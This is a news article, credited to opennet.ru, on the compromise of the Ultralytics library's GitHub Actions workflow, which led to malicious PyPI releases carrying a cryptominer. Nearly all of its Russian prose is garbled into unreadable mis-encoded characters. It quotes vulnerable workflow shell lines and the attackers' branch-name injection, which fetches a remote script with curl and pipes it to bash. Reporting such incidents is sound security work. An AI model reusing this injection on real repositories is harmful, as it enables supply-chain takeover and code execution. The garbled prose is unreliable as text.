ΠΠ»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΡΠΌΠΎΠ³Π»ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠ΄ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° GitHub Actions Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ Python-Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ Ultralytics, ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΠΎΠΉ Π΄Π»Ρ ΡΠ΅ΡΠ΅Π½ΠΈΡ Π·Π°Π΄Π°Ρ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΠΎΠ³ΠΎ Π·ΡΠ΅Π½ΠΈΡ, ΡΠ°ΠΊΠΈΡ ΠΊΠ°ΠΊ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ² Π½Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡΡ ΠΈ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ. ΠΠΎΡΠ»Π΅ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π°ΡΠ°ΠΊΡΡΡΠΈΠ΅ ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ PyPI Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π½ΠΎΠ²ΡΡ ΡΠ΅Π»ΠΈΠ·ΠΎΠ² Ultralytics, Π²ΠΊΠ»ΡΡΠ°ΡΡΠΈΡ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π΄Π»Ρ ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡ. ΠΠ° ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ ΠΌΠ΅ΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Ultralytics Π±ΡΠ»Π° Π·Π°Π³ΡΡΠΆΠ΅Π½Π° ΠΈΠ· ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° PyPI Π±ΠΎΠ»Π΅Π΅ 6.4 ΠΌΠ»Π½ ΡΠ°Π·.
ΠΠ»Ρ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π±ΡΠ»Π° Π·Π°Π΄Π΅ΠΉΡΡΠ²ΠΎΠ²Π°Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² ΠΏΠ°ΠΊΠ΅ΡΠ΅ ultralytics-actions, ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΠΎΠΌ Π΄Π»Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π·Π°ΠΏΡΡΠΊΠ° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ² ΠΏΡΠΈ ΡΠΎΠ²Π΅ΡΡΠ΅Π½ΠΈΠΈ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ½Π½ΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΠΉ Ρ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠ΅ΠΌ Π½Π° GitHub, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ GitHub Actions. Π ΠΏΡΠΎΠ΅ΠΊΡΠ΅ ultralytics ΡΡΠ·Π²ΠΈΠΌΡΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ ΠΏΡΠΈΠ²ΡΠ·ΡΠ²Π°Π»ΡΡ ΠΊ ΡΠΎΠ±ΡΡΠΈΡ pull_request_target ΠΈ Π²ΡΠ·ΡΠ²Π°Π»ΡΡ ΠΏΡΠΈ ΠΏΠΎΡΡΡΠΏΠ»Π΅Π½ΠΈΠΈ Π½ΠΎΠ²ΡΡ pull-Π·Π°ΠΏΡΠΎΡΠΎΠ². Π ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ, Π΄Π»Ρ ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΊΠΎΠ΄Π° Π² ΠΏΡΠΈΡΡΠ»Π°Π΅ΠΌΡΡ pull-Π·Π°ΠΏΡΠΎΡΠ°Ρ Π²ΡΠ·ΡΠ²Π°Π»ΡΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ format.yml ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΡΡ ΠΊΠΎΠ΄, ΡΠΊΠ°Π·Π°Π½Π½ΡΠΉ Π² ΡΠ΅ΠΊΡΠΈΠΈ «run» ΡΠ°ΠΉΠ»Π° action.yml, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΎΠ²Π°Π»ΠΈ shell-ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΡΠ°Π±Π»ΠΎΠ½Π°ΠΌΠΈ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, Π² shell-ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π±Π΅Π· Π΄ΠΎΠ»ΠΆΠ½ΠΎΠ³ΠΎ ΡΠΊΡΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎΠ΄ΡΡΠ°Π²Π»ΡΠ»ΠΎΡΡ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Git-Π²Π΅ΡΠΊΠΈ, ΡΠΏΠΎΠΌΠΈΠ½Π°Π΅ΠΌΠΎΠΉ Π² pull-Π·Π°ΠΏΡΠΎΡΠ΅. ΠΡΠΈΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΠ½ΠΎ, ΡΡΠΎ Π² Π°Π²Π³ΡΡΡΠ΅ Π² ΠΏΠ°ΠΊΠ΅ΡΠ΅ ultralytics-actions ΡΠΆΠ΅ ΠΈΡΠΏΡΠ°Π²Π»ΡΠ»Π°ΡΡ ΠΏΠΎΡ ΠΎΠΆΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ, ΡΠ²ΡΠ·Π°Π½Π½Π°Ρ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π²Π½Π΅ΡΠ½Π΅Π³ΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΡ Π² ΡΡΠ½ΠΊΡΠΈΠΈ echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»
ΠΠ»Ρ ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠ²ΠΎΠ΅Π³ΠΎ ΠΊΠΎΠ΄Π° Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° GitHub Actions Π°ΡΠ°ΠΊΡΡΡΠΈΠ΅ ΠΎΡΠΏΡΠ°Π²ΠΈΠ»ΠΈ pull-Π·Π°ΠΏΡΠΎΡ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ ultralytics, ΡΠΊΠ°Π·Π°Π² Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΈΠΌΠ΅Π½ΠΈ Π²Π΅ΡΠΊΠΈ: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Π‘ΠΎΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎ, ΠΏΡΠΈ ΠΏΠΎΡΡΡΠΏΠ»Π΅Π½ΠΈΠΈ pull-Π·Π°ΠΏΡΠΎΡΠ° Π² ΠΊΠΎΠ΄ ΠΏΠΎΠ΄ΡΡΠ°Π²ΠΈΠ»Π°ΡΡ Π·Π°Π΄Π°Π½Π½Π°Ρ Π°ΡΠ°ΠΊΡΡΡΠΈΠΌΠΈ ΡΡΡΠΎΠΊΠ° «$(…)», ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΡΠΈ ΠΏΡΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° ΠΏΡΠΈΠ²Π΅Π»Π° ΠΊ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ΄Π° «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».
ΠΠ°ΠΏΡΡΠΊ ΠΊΠΎΠ΄Π° Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ GitHub Actions ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π΄Π»Ρ Π·Π°Ρ Π²Π°ΡΠ° ΡΠΎΠΊΠ΅Π½Π° Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ ΠΈ Π΄ΡΡΠ³ΠΈΡ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ . ΠΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ Π°ΡΠ°ΠΊΡΡΡΠΈΠΌ ΡΠ΄Π°Π»ΠΎΡΡ ΡΡΠΎΡΠΌΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅Π»ΠΈΠ·, ΠΏΠΎΠ»ΡΡΠΈΠ² Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠ²ΠΎΠ΅Π³ΠΎ ΠΊΠΎΠ΄Π° Π² GitHub Actions, ΠΏΠΎΠΊΠ° ΡΠΎΡΠ½ΠΎ Π½Π΅ ΡΡΠ½ΠΎ, ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ, ΡΡΠΎ ΡΡΠΎ ΡΡΠ°Π»ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΠΌ Π±Π»Π°Π³ΠΎΠ΄Π°ΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° publish.yml (Π°ΡΠ°ΠΊΡΡΡΠΈΠ΅ ΡΠ±ΡΠ°Π»ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΡ ΡΡΡΡΠ½ΠΎΠΉ Π·Π°ΠΏΠΈΡΠΈ Ρ ΠΊΠΎΡΠΎΡΠΎΠΉ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΎ ΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°ΡΡ ΡΠ΅Π»ΠΈΠ·Ρ Π² PyPI) ΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ΅Ρ Π½ΠΈΠΊΠΈ ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΡΠ±ΠΎΡΠΎΡΠ½ΠΎΠ³ΠΎ ΠΊΡΡΠ° GitHub Actions Π΄Π»Ρ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ ΡΠ²ΠΎΠΈΡ Π΄Π°Π½Π½ΡΡ Π² ΡΠ΅Π»ΠΈΠ·.
ΠΠ΅ΡΠ²ΡΠΉ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΡΠ΅Π»ΠΈΠ· Ultralytics 8.3.41 Π±ΡΠ» ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ PyPI 4 Π΄Π΅ΠΊΠ°Π±ΡΡ Π² 23:51 (MSK) ΠΈ ΡΠ΄Π°Π»ΡΠ½ Π² 12:15 Π½Π° ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ Π΄Π΅Π½Ρ. Π 15:47 Π±ΡΠ» ΡΠ°Π·ΠΌΠ΅ΡΡΠ½ Π΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΡΠ΅Π»ΠΈΠ· 8.3.42, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ» ΡΠ΄Π°Π»ΡΠ½ Π² 16:47. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π² ΠΎΠ±ΡΠ΅ΠΉ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡΠΈ Π±ΡΠ»ΠΈ Π΄ΠΎΡΡΡΠΏΠ½Ρ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΠΎΠΊΠΎΠ»ΠΎ 13 ΡΠ°ΡΠΎΠ² (Π² Π΄Π΅Π½Ρ Π² PyPI ΡΠΈΠΊΡΠΈΡΡΠ΅ΡΡΡ ΠΎΠΊΠΎΠ»ΠΎ 250 ΡΡΡΡΡ Π·Π°Π³ΡΡΠ·ΠΎΠΊ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ ultralytics). Π ΡΠΎΡΡΠ°Π²Π΅ Π²ΡΠΏΡΡΠΊΠΎΠ² 8.3.41 ΠΈ 8.3.42 ΠΏΡΠΈΡΡΡΡΡΠ²ΠΎΠ²Π°Π» ΠΊΠΎΠ΄, ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΡΡΠΈΠΉ Π·Π°Π³ΡΡΠ·ΠΊΡ Ρ Π²Π½Π΅ΡΠ½Π΅Π³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ° XMRig Π΄Π»Ρ ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΡ.
Π Π°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ ΠΏΡΠΎΠ΅ΠΊΡΠ° ΡΡΡΡΠ°Π½ΠΈΠ»ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΠΈ ΡΡΠΎΡΠΌΠΈΡΠΎΠ²Π°Π»ΠΈ ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΡΡΡΠΈΠ΅ ΡΠ΅Π»ΠΈΠ·Ρ 8.3.43 ΠΈ 8.3.44, Π½ΠΎ ΡΠΏΡΡΡΡ Π΄Π²Π° Π΄Π½Ρ Π±ΡΠ»Π° ΡΠΎΠ²Π΅ΡΡΠ΅Π½Π° Π΅ΡΡ ΠΎΠ΄Π½Π° Π°ΡΠ°ΠΊΠ°, Π² Ρ
ΠΎΠ΄Π΅ ΠΊΠΎΡΠΎΡΠΎΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 04:41 ΠΈ 05:27 (MSK) Π΄Π²Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ
Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ
ΡΠ΅Π»ΠΈΠ·Π° — 8.3.45 ΠΈ 8.3.46, Π²ΠΊΠ»ΡΡΠ°ΡΡΠΈΡ
Π΄ΡΡΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π΄Π»Ρ ΠΌΠ°ΠΉΠ½ΠΈΠ½Π³Π°. ΠΠΎ ΠΎΠΊΠΎΠ½ΡΠ°Π½ΠΈΡ ΡΠ°Π·Π±ΠΈΡΠ°ΡΠ΅Π»ΡΡΡΠ²Π° ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΠΌ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΠ΅ΡΡΡ ΠΏΠΎΠ²ΡΠ΅ΠΌΠ΅Π½ΠΈΡΡ Ρ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΎΠΉ Π½ΠΎΠ²ΡΡ
Π²Π΅ΡΡΠΈΠΉ ΠΈ Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°ΡΡ Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΡΡ
Π²ΡΠΏΡΡΠΊ 8.3.44.
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru